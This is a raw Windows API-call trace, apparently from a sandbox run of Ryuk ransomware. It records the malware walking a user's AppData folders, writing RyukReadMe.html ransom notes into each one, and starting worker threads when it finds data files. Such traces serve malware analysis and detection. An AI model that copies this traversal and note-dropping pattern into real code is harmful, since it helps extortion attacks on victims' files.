	[0260.064] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4baa8590, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4baa8590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4baa8590, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0260.064] FindClose (in: hFindFile=0x29f100 | out: hFindFile=0x29f100) returned 1
	[0260.064] SetLastError (dwErrCode=0x0) 
	[0260.065] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0260.065] GetLastError () returned 0xb7
	[0260.065] CloseHandle (hObject=0x438) returned 1
	[0260.065] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1
	[0260.065] SetLastError (dwErrCode=0x0) 
	[0260.065] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0260.066] GetLastError () returned 0xb7
	[0260.066] CloseHandle (hObject=0x438) returned 1
	[0260.066] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\*.*", lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4c2b0fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c2b0fd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f100
	[0260.067] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4c2b0fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c2b0fd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.067] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c2b0fd0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c2b0fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c2b0fd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0260.067] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c2b0fd0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c2b0fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c2b0fd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0260.067] FindClose (in: hFindFile=0x29f100 | out: hFindFile=0x29f100) returned 1
	[0260.067] SetLastError (dwErrCode=0x0) 
	[0260.068] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\deployment\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0260.068] GetLastError () returned 0xb7
	[0260.068] CloseHandle (hObject=0x438) returned 1
	[0260.068] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9791f220, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a918, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT", cAlternateFileName="GDIPFO~1.DAT")) returned 1
	[0260.068] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0260.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438
	[0260.071] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.072] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1
	[0260.072] SetLastError (dwErrCode=0x0) 
	[0260.072] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0260.072] GetLastError () returned 0xb7
	[0260.072] CloseHandle (hObject=0x5c4) returned 1
	[0260.073] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\*.*", lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4c4a01b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c4a01b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f100
	[0260.073] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4c4a01b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c4a01b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.074] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1
	[0260.074] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52743150, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52743150, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1
	[0260.074] SetLastError (dwErrCode=0x0) 
	[0260.074] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0260.074] GetLastError () returned 0xb7
	[0260.074] CloseHandle (hObject=0x870) returned 1
	[0260.074] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52743150, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52743150, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0260.075] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52743150, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52743150, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.075] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52743150, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x52743150, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52743150, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0260.075] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52743150, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x52743150, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52743150, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0260.075] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0260.076] SetLastError (dwErrCode=0x0) 
	[0260.076] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\crashreports\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0260.076] GetLastError () returned 0xb7
	[0260.076] CloseHandle (hObject=0x870) returned 1
	[0260.076] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c2b0fd0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c2b0fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c5125d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0260.077] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c2b0fd0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c2b0fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c5125d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0260.077] FindClose (in: hFindFile=0x29f100 | out: hFindFile=0x29f100) returned 1
	[0260.077] SetLastError (dwErrCode=0x0) 
	[0260.077] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0260.077] GetLastError () returned 0xb7
	[0260.078] CloseHandle (hObject=0x5c4) returned 1
	[0260.078] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0260.078] SetLastError (dwErrCode=0x0) 
	[0260.078] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0260.078] GetLastError () returned 0xb7
	[0260.078] CloseHandle (hObject=0x5c4) returned 1
	[0260.079] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\*.*", lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c5125d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f100
	[0260.080] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c5125d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.080] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0260.080] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527692b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x527692b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0260.080] SetLastError (dwErrCode=0x0) 
	[0260.080] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0260.081] GetLastError () returned 0xb7
	[0260.081] CloseHandle (hObject=0x870) returned 1
	[0260.081] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527692b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x527692b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0260.081] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527692b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x527692b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.082] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0260.082] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x49da51a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0260.082] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0260.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854
	[0260.231] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.232] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa5bdddd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5bdddd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5bdddd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="MSHist012020010820200109", cAlternateFileName="MSHIST~1")) returned 1
	[0260.232] SetLastError (dwErrCode=0x0) 
	[0260.232] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.232] GetLastError () returned 0xb7
	[0260.232] CloseHandle (hObject=0x858) returned 1
	[0260.233] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa5bdddd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5bdddd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5bdddd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0260.233] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa5bdddd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5bdddd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5bdddd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
